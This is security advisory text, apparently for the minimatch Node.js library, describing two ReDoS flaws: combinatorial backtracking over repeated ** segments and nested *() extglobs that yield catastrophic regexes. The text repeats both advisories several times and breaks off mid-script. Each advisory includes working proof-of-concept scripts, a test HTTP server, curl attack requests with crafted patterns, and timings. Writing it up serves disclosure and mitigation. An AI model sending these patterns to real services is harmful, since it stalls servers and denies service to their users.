matchOne() performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent ** (GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- where n is the number of path segments and k is the number of globstars. With k=11 and n=30, a call to the default minimatch() API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior.


Details

The vulnerable loop is in matchOne() at src/index.ts#L960:

while (fr < fl) {
  ..
  if (this.matchOne(file.slice(fr), pattern.slice(pr), partial)) {
    ..
    return true
  }
  ..
  fr++
}

When a GLOBSTAR is encountered, the function tries to match the remaining pattern against every suffix of the remaining file segments. Each ** multiplies the number of recursive calls by the number of remaining segments. With k non-adjacent globstars and n file segments, the total number of calls is C(n, k).

There is no depth counter, visited-state cache, or budget limit applied to this recursion. The call tree is fully explored before returning false on a non-matching input.

Measured timing with n=30 path segments:

k (globstars) Pattern size Time
7 36 bytes ~154ms
9 46 bytes ~1.2s
11 56 bytes ~5.4s
12 61 bytes ~9.7s
13 66 bytes ~15.9s

PoC

Tested on minimatch@10.2.2, Node.js 20.

Step 1 -- inline script

import { minimatch } from 'minimatch'

// k=9 globstars, n=30 path segments
// pattern: 46 bytes, default options
const pattern = '**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/b'
const path    = 'a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a'

const start = Date.now()
minimatch(path, pattern)
console.log(Date.now() - start + 'ms') // ~1200ms

To scale the effect, increase k:

// k=11 -> ~5.4s, k=13 -> ~15.9s
const k = 11
const pattern = Array.from({ length: k }, () => '**/a').join('/') + '/b'
const path    = Array(30).fill('a').join('/')
minimatch(path, pattern)

No special options are required. This reproduces with the default minimatch() call.

Step 2 -- HTTP server (event loop starvation proof)

The following server demonstrates the event loop starvation effect. It is a minimal harness, not a claim that this exact deployment pattern is common:

// poc1-server.mjs
import http from 'node:http'
import { URL } from 'node:url'
import { minimatch } from 'minimatch'

const PORT = 3000

const server = http.createServer((req, res) => {
  const url = new URL(req.url, `http://localhost:${PORT}`)
  if (url.pathname !== '/match') { res.writeHead(404); res.end(); return }

  const pattern = url.searchParams.get('pattern') ?? ''
  const path    = url.searchParams.get('path') ?? ''

  const start  = process.hrtime.bigint()
  const result = minimatch(path, pattern)
  const ms     = Number(process.hrtime.bigint() - start) / 1e6

  res.writeHead(200, { 'Content-Type': 'application/json' })
  res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n')
})

server.listen(PORT)

Terminal 1 -- start the server:

node poc1-server.mjs

Terminal 2 -- send the attack request (k=11, ~5s stall) and immediately return to shell:

curl "http://localhost:3000/match?pattern=**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2Fb&path=a%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa" &

Terminal 3 -- while the attack is in-flight, send a benign request:

curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3000/match?pattern=**%2Fy%2Fz&path=x%2Fy%2Fz"

Observed output (Terminal 3):

{"result":true,"ms":"0"}

time_total: 4.132709s

The server reports "ms":"0" -- the legitimate request itself takes zero processing time. The 4+ second time_total is entirely time spent waiting for the event loop to be released by the attack request. Every concurrent user is blocked for the full duration of each attack call. Repeating the benign request while no attack is in-flight confirms the baseline:

{"result":true,"ms":"0"}

time_total: 0.001599s

Impact

Any application where an attacker can influence the glob pattern passed to minimatch() is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature.

๐Ÿšจ minimatch ReDoS: nested *() extglobs generate catastrophically backtracking regular expressions

Summary

Nested *() extglobs produce regexps with nested unbounded quantifiers (e.g. (?:(?:a|b)*)*), which exhibit catastrophic backtracking in V8. With a 12-byte pattern *(*(*(a|b))) and an 18-byte non-matching input, minimatch() stalls for over 7 seconds. Adding a single nesting level or a few input characters pushes this to minutes. This is the most severe finding: it is triggered by the default minimatch() API with no special options, and the minimum viable pattern is only 12 bytes. The same issue affects +() extglobs equally.


Details

The root cause is in AST.toRegExpSource() at src/ast.ts#L598. For the * extglob type, the close token emitted is )* or )?, wrapping the recursive body in (?:...)*. When extglobs are nested, each level adds another * quantifier around the previous group:

: this.type === '*' && bodyDotAllowed ? `)?`
: `)${this.type}`

This produces the following regexps:

Pattern Generated regex
*(a|b) /^(?:a|b)*$/
*(*(a|b)) /^(?:(?:a|b)*)*$/
*(*(*(a|b))) /^(?:(?:(?:a|b)*)*)*$/
*(*(*(*(a|b)))) /^(?:(?:(?:(?:a|b)*)*)*)*$/

These are textbook nested-quantifier patterns. Against an input of repeated a characters followed by a non-matching character z, V8's backtracking engine explores an exponential number of paths before returning false.

The generated regex is stored on this.set and evaluated inside matchOne() at src/index.ts#L1010 via p.test(f). It is reached through the standard minimatch() call with no configuration.

Measured times via minimatch():

Pattern Input Time
*(*(a|b)) a x30 + z ~68,000ms
*(*(*(a|b))) a x20 + z ~124,000ms
*(*(*(*(a|b)))) a x25 + z ~116,000ms
*(a|a) a x25 + z ~2,000ms

Depth inflection at fixed input a x16 + z:

Depth Pattern Time
1 *(a|b) 0ms
2 *(*(a|b)) 4ms
3 *(*(*(a|b))) 270ms
4 *(*(*(*(a|b)))) 115,000ms

Going from depth 2 to depth 3 with a 20-character input jumps from 66ms to 123,544ms -- a 1,867x increase from a single added nesting level.


PoC

Tested on minimatch@10.2.2, Node.js 20.

Step 1 -- verify the generated regexps and timing (standalone script)

Save as poc4-validate.mjs and run with node poc4-validate.mjs:

import { minimatch, Minimatch } from 'minimatch'

function timed(fn) {
  const s = process.hrtime.bigint()
  let result, error
  try { result = fn() } catch(e) { error = e }
  const ms = Number(process.hrtime.bigint() - s) / 1e6
  return { ms, result, error }
}

// Verify generated regexps
for (let depth = 1; depth <= 4; depth++) {
  let pat = 'a|b'
  for (let i = 0; i < depth; i++) pat = `*(${pat})`
  const re = new Minimatch(pat, {}).set?.[0]?.[0]?.toString()
  console.log(`depth=${depth} "${pat}" -> ${re}`)
}
// depth=1 "*(a|b)"          -> /^(?:a|b)*$/
// depth=2 "*(*(a|b))"       -> /^(?:(?:a|b)*)*$/
// depth=3 "*(*(*(a|b)))"    -> /^(?:(?:(?:a|b)*)*)*$/
// depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/

// Safe-length timing (exponential growth confirmation without multi-minute hang)
const cases = [
  ['*(*(*(a|b)))', 15],   // ~270ms
  ['*(*(*(a|b)))', 17],   // ~800ms
  ['*(*(*(a|b)))', 19],   // ~2400ms
  ['*(*(a|b))',    23],   // ~260ms
  ['*(a|b)',      101],   // <5ms (depth=1 control)
]
for (const [pat, n] of cases) {
  const t = timed(() => minimatch('a'.repeat(n) + 'z', pat))
  console.log(`"${pat}" n=${n}: ${t.ms.toFixed(0)}ms result=${t.result}`)
}

// Confirm noext disables the vulnerability
const t_noext = timed(() => minimatch('a'.repeat(18) + 'z', '*(*(*(a|b)))', { noext: true }))
console.log(`noext=true: ${t_noext.ms.toFixed(0)}ms (should be ~0ms)`)

// +() is equally affected
const t_plus = timed(() => minimatch('a'.repeat(17) + 'z', '+(+(+(a|b)))'))
console.log(`"+(+(+(a|b)))" n=18: ${t_plus.ms.toFixed(0)}ms result=${t_plus.result}`)

Observed output:

depth=1 "*(a|b)"          -> /^(?:a|b)*$/
depth=2 "*(*(a|b))"       -> /^(?:(?:a|b)*)*$/
depth=3 "*(*(*(a|b)))"    -> /^(?:(?:(?:a|b)*)*)*$/
depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/
"*(*(*(a|b)))" n=15: 269ms result=false
"*(*(*(a|b)))" n=17: 268ms result=false
"*(*(*(a|b)))" n=19: 2408ms result=false
"*(*(a|b))"    n=23: 257ms result=false
"*(a|b)"       n=101: 0ms result=false
noext=true: 0ms (should be ~0ms)
"+(+(+(a|b)))" n=18: 6300ms result=false

Step 2 -- HTTP server (event loop starvation proof)

Save as poc4-server.mjs:

import http from 'node:http'
import { URL } from 'node:url'
import { minimatch } from 'minimatch'

const PORT = 3001
http.createServer((req, res) => {
  const url     = new URL(req.url, `http://localhost:${PORT}`)
  const pattern = url.searchParams.get('pattern') ?? ''
  const path    = url.searchParams.get('path') ?? ''

  const start  = process.hrtime.bigint()
  const result = minimatch(path, pattern)
  const ms     = Number(process.hrtime.bigint() - start) / 1e6

  console.log(`[${new Date().toISOString()}] ${ms.toFixed(0)}ms pattern="${pattern}" path="${path.slice(0,30)}"`)
  res.writeHead(200, { 'Content-Type': 'application/json' })
  res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n')
}).listen(PORT, () => console.log(`listening on ${PORT}`))

Terminal 1 -- start the server:

node poc4-server.mjs

Terminal 2 -- fire the attack (depth=3, 19 a's + z) and return immediately:

curl "http://localhost:3001/match?pattern=*%28*%28*%28a%7Cb%29%29%29&path=aaaaaaaaaaaaaaaaaaaz" &

Terminal 3 -- send a benign request while the attack is in-flight:

curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3001/match?pattern=*%28a%7Cb%29&path=aaaz"

Observed output -- Terminal 2 (attack):

{"result":false,"ms":"64149"}

Observed output -- Terminal 3 (benign, concurrent):

{"result":false,"ms":"0"}

time_total: 63.022047s

Terminal 1 (server log):

[2026-02-20T09:41:17.624Z] pattern="*(*(*(a|b)))" path="aaaaaaaaaaaaaaaaaaaz"
[2026-02-20T09:42:21.775Z] done in 64149ms result=false
[2026-02-20T09:42:21.779Z] pattern="*(a|b)" path="aaaz"
[2026-02-20T09:42:21.779Z] done in 0ms result=false

The server reports "ms":"0" for the benign request -- the legitimate request itself requires no CPU time. The entire 63-second time_total is time spent waiting for the event loop to be released. The benign request was only dispatched after the attack completed, confirmed by the server log timestamps.

Note: standalone script timing (~7s at n=19) is lower than server timing (64s) because the standalone script had warmed up V8's JIT through earlier sequential calls. A cold server hits the worst case. Both measurements confirm catastrophic backtracking -- the server result is the more realistic figure for production impact.


Impact

Any context where an attacker can influence the glob pattern passed to minimatch() is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments, multi-tenant platforms where users configure glob-based rules (file filters, ignore lists, include patterns), and CI/CD pipelines that evaluate user-submitted config files containing glob expressions. No evidence was found of production HTTP servers passing raw user input directly as the extglob pattern, so that framing is not claimed here.

Depth 3 (*(*(*(a|b))), 12 bytes) stalls the Node.js event loop for 7+ seconds with an 18-character input. Depth 2 (*(*(a|b)), 9 bytes) reaches 68 seconds with a 31-character input. Both the pattern and the input fit in a query string or JSON body without triggering the 64 KB length guard.

+() extglobs share the same code path and produce equivalent worst-case behavior (6.3 seconds at depth=3 with an 18-character input, confirmed).

Mitigation available: passing { noext: true } to minimatch() disables extglob processing entirely and reduces the same input to 0ms. Applications that do not need extglob syntax should set this option when handling untrusted patterns.

๐Ÿšจ minimatch has ReDoS: matchOne() combinatorial backtracking via multiple non-adjacent GLOBSTAR segments

Summary

matchOne() performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent ** (GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- where n is the number of path segments and k is the number of globstars. With k=11 and n=30, a call to the default minimatch() API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior.


Details

The vulnerable loop is in matchOne() at src/index.ts#L960:

while (fr < fl) {
  ..
  if (this.matchOne(file.slice(fr), pattern.slice(pr), partial)) {
    ..
    return true
  }
  ..
  fr++
}

When a GLOBSTAR is encountered, the function tries to match the remaining pattern against every suffix of the remaining file segments. Each ** multiplies the number of recursive calls by the number of remaining segments. With k non-adjacent globstars and n file segments, the total number of calls is C(n, k).

There is no depth counter, visited-state cache, or budget limit applied to this recursion. The call tree is fully explored before returning false on a non-matching input.

Measured timing with n=30 path segments:

k (globstars) Pattern size Time
7 36 bytes ~154ms
9 46 bytes ~1.2s
11 56 bytes ~5.4s
12 61 bytes ~9.7s
13 66 bytes ~15.9s

PoC

Tested on minimatch@10.2.2, Node.js 20.

Step 1 -- inline script

import { minimatch } from 'minimatch'

// k=9 globstars, n=30 path segments
// pattern: 46 bytes, default options
const pattern = '**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/b'
const path    = 'a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a'

const start = Date.now()
minimatch(path, pattern)
console.log(Date.now() - start + 'ms') // ~1200ms

To scale the effect, increase k:

// k=11 -> ~5.4s, k=13 -> ~15.9s
const k = 11
const pattern = Array.from({ length: k }, () => '**/a').join('/') + '/b'
const path    = Array(30).fill('a').join('/')
minimatch(path, pattern)

No special options are required. This reproduces with the default minimatch() call.

Step 2 -- HTTP server (event loop starvation proof)

The following server demonstrates the event loop starvation effect. It is a minimal harness, not a claim that this exact deployment pattern is common:

// poc1-server.mjs
import http from 'node:http'
import { URL } from 'node:url'
import { minimatch } from 'minimatch'

const PORT = 3000

const server = http.createServer((req, res) => {
  const url = new URL(req.url, `http://localhost:${PORT}`)
  if (url.pathname !== '/match') { res.writeHead(404); res.end(); return }

  const pattern = url.searchParams.get('pattern') ?? ''
  const path    = url.searchParams.get('path') ?? ''

  const start  = process.hrtime.bigint()
  const result = minimatch(path, pattern)
  const ms     = Number(process.hrtime.bigint() - start) / 1e6

  res.writeHead(200, { 'Content-Type': 'application/json' })
  res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n')
})

server.listen(PORT)

Terminal 1 -- start the server:

node poc1-server.mjs

Terminal 2 -- send the attack request (k=11, ~5s stall) and immediately return to shell:

curl "http://localhost:3000/match?pattern=**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2Fb&path=a%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa" &

Terminal 3 -- while the attack is in-flight, send a benign request:

curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3000/match?pattern=**%2Fy%2Fz&path=x%2Fy%2Fz"

Observed output (Terminal 3):

{"result":true,"ms":"0"}

time_total: 4.132709s

The server reports "ms":"0" -- the legitimate request itself takes zero processing time. The 4+ second time_total is entirely time spent waiting for the event loop to be released by the attack request. Every concurrent user is blocked for the full duration of each attack call. Repeating the benign request while no attack is in-flight confirms the baseline:

{"result":true,"ms":"0"}

time_total: 0.001599s

Impact

Any application where an attacker can influence the glob pattern passed to minimatch() is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature.

๐Ÿšจ minimatch ReDoS: nested *() extglobs generate catastrophically backtracking regular expressions

Summary

Nested *() extglobs produce regexps with nested unbounded quantifiers (e.g. (?:(?:a|b)*)*), which exhibit catastrophic backtracking in V8. With a 12-byte pattern *(*(*(a|b))) and an 18-byte non-matching input, minimatch() stalls for over 7 seconds. Adding a single nesting level or a few input characters pushes this to minutes. This is the most severe finding: it is triggered by the default minimatch() API with no special options, and the minimum viable pattern is only 12 bytes. The same issue affects +() extglobs equally.


Details

The root cause is in AST.toRegExpSource() at src/ast.ts#L598. For the * extglob type, the close token emitted is )* or )?, wrapping the recursive body in (?:...)*. When extglobs are nested, each level adds another * quantifier around the previous group:

: this.type === '*' && bodyDotAllowed ? `)?`
: `)${this.type}`

This produces the following regexps:

Pattern Generated regex
*(a|b) /^(?:a|b)*$/
*(*(a|b)) /^(?:(?:a|b)*)*$/
*(*(*(a|b))) /^(?:(?:(?:a|b)*)*)*$/
*(*(*(*(a|b)))) /^(?:(?:(?:(?:a|b)*)*)*)*$/

These are textbook nested-quantifier patterns. Against an input of repeated a characters followed by a non-matching character z, V8's backtracking engine explores an exponential number of paths before returning false.

The generated regex is stored on this.set and evaluated inside matchOne() at src/index.ts#L1010 via p.test(f). It is reached through the standard minimatch() call with no configuration.

Measured times via minimatch():

Pattern Input Time
*(*(a|b)) a x30 + z ~68,000ms
*(*(*(a|b))) a x20 + z ~124,000ms
*(*(*(*(a|b)))) a x25 + z ~116,000ms
*(a|a) a x25 + z ~2,000ms

Depth inflection at fixed input a x16 + z:

Depth Pattern Time
1 *(a|b) 0ms
2 *(*(a|b)) 4ms
3 *(*(*(a|b))) 270ms
4 *(*(*(*(a|b)))) 115,000ms

Going from depth 2 to depth 3 with a 20-character input jumps from 66ms to 123,544ms -- a 1,867x increase from a single added nesting level.


PoC

Tested on minimatch@10.2.2, Node.js 20.

Step 1 -- verify the generated regexps and timing (standalone script)

Save as poc4-validate.mjs and run with node poc4-validate.mjs:

import { minimatch, Minimatch } from 'minimatch'

function timed(fn) {
  const s = process.hrtime.bigint()
  let result, error
  try { result = fn() } catch(e) { error = e }
  const ms = Number(process.hrtime.bigint() - s) / 1e6
  return { ms, result, error }
}

// Verify generated regexps
for (let depth = 1; depth <= 4; depth++) {
  let pat = 'a|b'
  for (let i = 0; i < depth; i++) pat = `*(${pat})`
  const re = new Minimatch(pat, {}).set?.[0]?.[0]?.toString()
  console.log(`depth=${depth} "${pat}" -> ${re}`)
}
// depth=1 "*(a|b)"          -> /^(?:a|b)*$/
// depth=2 "*(*(a|b))"       -> /^(?:(?:a|b)*)*$/
// depth=3 "*(*(*(a|b)))"    -> /^(?:(?:(?:a|b)*)*)*$/
// depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/

// Safe-length timing (exponential growth confirmation without multi-minute hang)
const cases = [
  ['*(*(*(a|b)))', 15],   // ~270ms
  ['*(*(*(a|b)))', 17],   // ~800ms
  ['*(*(*(a|b)))', 19],   // ~2400ms
  ['*(*(a|b))',    23],   // ~260ms
  ['*(a|b)',      101],   // <5ms (depth=1 control)
]
for (const [pat, n] of cases) {
  const t = timed(() => minimatch('a'.repeat(n) + 'z', pat))
  console.log(`"${pat}" n=${n}: ${t.ms.toFixed(0)}ms result=${t.result}`)
}

// Confirm noext disables the vulnerability
const t_noext = timed(() => minimatch('a'.repeat(18) + 'z', '*(*(*(a|b)))', { noext: true }))
console.log(`noext=true: ${t_noext.ms.toFixed(0)}ms (should be ~0ms)`)

// +() is equally affected
const t_plus = timed(() => minimatch('a'.repeat(17) + 'z', '+(+(+(a|b)))'))
console.log(`"+(+(+(a|b)))" n=18: ${t_plus.ms.toFixed(0)}ms result=${t_plus.result}`)

Observed output:

depth=1 "*(a|b)"          -> /^(?:a|b)*$/
depth=2 "*(*(a|b))"       -> /^(?:(?:a|b)*)*$/
depth=3 "*(*(*(a|b)))"    -> /^(?:(?:(?:a|b)*)*)*$/
depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/
"*(*(*(a|b)))" n=15: 269ms result=false
"*(*(*(a|b)))" n=17: 268ms result=false
"*(*(*(a|b)))" n=19: 2408ms result=false
"*(*(a|b))"    n=23: 257ms result=false
"*(a|b)"       n=101: 0ms result=false
noext=true: 0ms (should be ~0ms)
"+(+(+(a|b)))" n=18: 6300ms result=false

Step 2 -- HTTP server (event loop starvation proof)

Save as poc4-server.mjs:

import http from 'node:http'
import { URL } from 'node:url'
import { minimatch } from 'minimatch'

const PORT = 3001
http.createServer((req, res) => {
  const url     = new URL(req.url, `http://localhost:${PORT}`)
  const pattern = url.searchParams.get('pattern') ?? ''
  const path    = url.searchParams.get('path') ?? ''

  const start  = process.hrtime.bigint()
  const result = minimatch(path, pattern)
  const ms     = Number(process.hrtime.bigint() - start) / 1e6

  console.log(`[${new Date().toISOString()}] ${ms.toFixed(0)}ms pattern="${pattern}" path="${path.slice(0,30)}"`)
  res.writeHead(200, { 'Content-Type': 'application/json' })
  res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n')
}).listen(PORT, () => console.log(`listening on ${PORT}`))

Terminal 1 -- start the server:

node poc4-server.mjs

Terminal 2 -- fire the attack (depth=3, 19 a's + z) and return immediately:

curl "http://localhost:3001/match?pattern=*%28*%28*%28a%7Cb%29%29%29&path=aaaaaaaaaaaaaaaaaaaz" &

Terminal 3 -- send a benign request while the attack is in-flight:

curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3001/match?pattern=*%28a%7Cb%29&path=aaaz"

Observed output -- Terminal 2 (attack):

{"result":false,"ms":"64149"}

Observed output -- Terminal 3 (benign, concurrent):

{"result":false,"ms":"0"}

time_total: 63.022047s

Terminal 1 (server log):

[2026-02-20T09:41:17.624Z] pattern="*(*(*(a|b)))" path="aaaaaaaaaaaaaaaaaaaz"
[2026-02-20T09:42:21.775Z] done in 64149ms result=false
[2026-02-20T09:42:21.779Z] pattern="*(a|b)" path="aaaz"
[2026-02-20T09:42:21.779Z] done in 0ms result=false

The server reports "ms":"0" for the benign request -- the legitimate request itself requires no CPU time. The entire 63-second time_total is time spent waiting for the event loop to be released. The benign request was only dispatched after the attack completed, confirmed by the server log timestamps.

Note: standalone script timing (~7s at n=19) is lower than server timing (64s) because the standalone script had warmed up V8's JIT through earlier sequential calls. A cold server hits the worst case. Both measurements confirm catastrophic backtracking -- the server result is the more realistic figure for production impact.


Impact

Any context where an attacker can influence the glob pattern passed to minimatch() is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments, multi-tenant platforms where users configure glob-based rules (file filters, ignore lists, include patterns), and CI/CD pipelines that evaluate user-submitted config files containing glob expressions. No evidence was found of production HTTP servers passing raw user input directly as the extglob pattern, so that framing is not claimed here.

Depth 3 (*(*(*(a|b))), 12 bytes) stalls the Node.js event loop for 7+ seconds with an 18-character input. Depth 2 (*(*(a|b)), 9 bytes) reaches 68 seconds with a 31-character input. Both the pattern and the input fit in a query string or JSON body without triggering the 64 KB length guard.

+() extglobs share the same code path and produce equivalent worst-case behavior (6.3 seconds at depth=3 with an 18-character input, confirmed).

Mitigation available: passing { noext: true } to minimatch() disables extglob processing entirely and reduces the same input to 0ms. Applications that do not need extglob syntax should set this option when handling untrusted patterns.

๐Ÿšจ minimatch has ReDoS: matchOne() combinatorial backtracking via multiple non-adjacent GLOBSTAR segments

Summary

matchOne() performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent ** (GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- where n is the number of path segments and k is the number of globstars. With k=11 and n=30, a call to the default minimatch() API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior.


Details

The vulnerable loop is in matchOne() at src/index.ts#L960:

while (fr < fl) {
  ..
  if (this.matchOne(file.slice(fr), pattern.slice(pr), partial)) {
    ..
    return true
  }
  ..
  fr++
}

When a GLOBSTAR is encountered, the function tries to match the remaining pattern against every suffix of the remaining file segments. Each ** multiplies the number of recursive calls by the number of remaining segments. With k non-adjacent globstars and n file segments, the total number of calls is C(n, k).

There is no depth counter, visited-state cache, or budget limit applied to this recursion. The call tree is fully explored before returning false on a non-matching input.

Measured timing with n=30 path segments:

k (globstars) Pattern size Time
7 36 bytes ~154ms
9 46 bytes ~1.2s
11 56 bytes ~5.4s
12 61 bytes ~9.7s
13 66 bytes ~15.9s

PoC

Tested on minimatch@10.2.2, Node.js 20.

Step 1 -- inline script

import { minimatch } from 'minimatch'

// k=9 globstars, n=30 path segments
// pattern: 46 bytes, default options
const pattern = '**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/b'
const path    = 'a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a'

const start = Date.now()
minimatch(path, pattern)
console.log(Date.now() - start + 'ms') // ~1200ms

To scale the effect, increase k:

// k=11 -> ~5.4s, k=13 -> ~15.9s
const k = 11
const pattern = Array.from({ length: k }, () => '**/a').join('/') + '/b'
const path    = Array(30).fill('a').join('/')
minimatch(path, pattern)

No special options are required. This reproduces with the default minimatch() call.

Step 2 -- HTTP server (event loop starvation proof)

The following server demonstrates the event loop starvation effect. It is a minimal harness, not a claim that this exact deployment pattern is common:

// poc1-server.mjs
import http from 'node:http'
import { URL } from 'node:url'
import { minimatch } from 'minimatch'

const PORT = 3000

const server = http.createServer((req, res) => {
  const url = new URL(req.url, `http://localhost:${PORT}`)
  if (url.pathname !== '/match') { res.writeHead(404); res.end(); return }

  const pattern = url.searchParams.get('pattern') ?? ''
  const path    = url.searchParams.get('path') ?? ''

  const start  = process.hrtime.bigint()
  const result = minimatch(path, pattern)
  const ms     = Number(process.hrtime.bigint() - start) / 1e6

  res.writeHead(200, { 'Content-Type': 'application/json' })
  res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n')
})

server.listen(PORT)

Terminal 1 -- start the server:

node poc1-server.mjs

Terminal 2 -- send the attack request (k=11, ~5s stall) and immediately return to shell:

curl "http://localhost:3000/match?pattern=**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2Fb&path=a%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa" &

Terminal 3 -- while the attack is in-flight, send a benign request:

curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3000/match?pattern=**%2Fy%2Fz&path=x%2Fy%2Fz"

Observed output (Terminal 3):

{"result":true,"ms":"0"}

time_total: 4.132709s

The server reports "ms":"0" -- the legitimate request itself takes zero processing time. The 4+ second time_total is entirely time spent waiting for the event loop to be released by the attack request. Every concurrent user is blocked for the full duration of each attack call. Repeating the benign request while no attack is in-flight confirms the baseline:

{"result":true,"ms":"0"}

time_total: 0.001599s

Impact

Any application where an attacker can influence the glob pattern passed to minimatch() is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature.

๐Ÿšจ minimatch ReDoS: nested *() extglobs generate catastrophically backtracking regular expressions

Summary

Nested *() extglobs produce regexps with nested unbounded quantifiers (e.g. (?:(?:a|b)*)*), which exhibit catastrophic backtracking in V8. With a 12-byte pattern *(*(*(a|b))) and an 18-byte non-matching input, minimatch() stalls for over 7 seconds. Adding a single nesting level or a few input characters pushes this to minutes. This is the most severe finding: it is triggered by the default minimatch() API with no special options, and the minimum viable pattern is only 12 bytes. The same issue affects +() extglobs equally.


Details

The root cause is in AST.toRegExpSource() at src/ast.ts#L598. For the * extglob type, the close token emitted is )* or )?, wrapping the recursive body in (?:...)*. When extglobs are nested, each level adds another * quantifier around the previous group:

: this.type === '*' && bodyDotAllowed ? `)?`
: `)${this.type}`

This produces the following regexps:

Pattern Generated regex
*(a|b) /^(?:a|b)*$/
*(*(a|b)) /^(?:(?:a|b)*)*$/
*(*(*(a|b))) /^(?:(?:(?:a|b)*)*)*$/
*(*(*(*(a|b)))) /^(?:(?:(?:(?:a|b)*)*)*)*$/

These are textbook nested-quantifier patterns. Against an input of repeated a characters followed by a non-matching character z, V8's backtracking engine explores an exponential number of paths before returning false.

The generated regex is stored on this.set and evaluated inside matchOne() at src/index.ts#L1010 via p.test(f). It is reached through the standard minimatch() call with no configuration.

Measured times via minimatch():

Pattern Input Time
*(*(a|b)) a x30 + z ~68,000ms
*(*(*(a|b))) a x20 + z ~124,000ms
*(*(*(*(a|b)))) a x25 + z ~116,000ms
*(a|a) a x25 + z ~2,000ms

Depth inflection at fixed input a x16 + z:

Depth Pattern Time
1 *(a|b) 0ms
2 *(*(a|b)) 4ms
3 *(*(*(a|b))) 270ms
4 *(*(*(*(a|b)))) 115,000ms

Going from depth 2 to depth 3 with a 20-character input jumps from 66ms to 123,544ms -- a 1,867x increase from a single added nesting level.


PoC

Tested on minimatch@10.2.2, Node.js 20.

Step 1 -- verify the generated regexps and timing (standalone script)

Save as poc4-validate.mjs and run with node poc4-validate.mjs:

import { minimatch, Minimatch } from 'minimatch'

function timed(fn) {
  const s = process.hrtime.bigint()
  let result, error
  try { result = fn() } catch(e) { error = e }
  const ms = Number(process.hrtime.bigint() - s) / 1e6
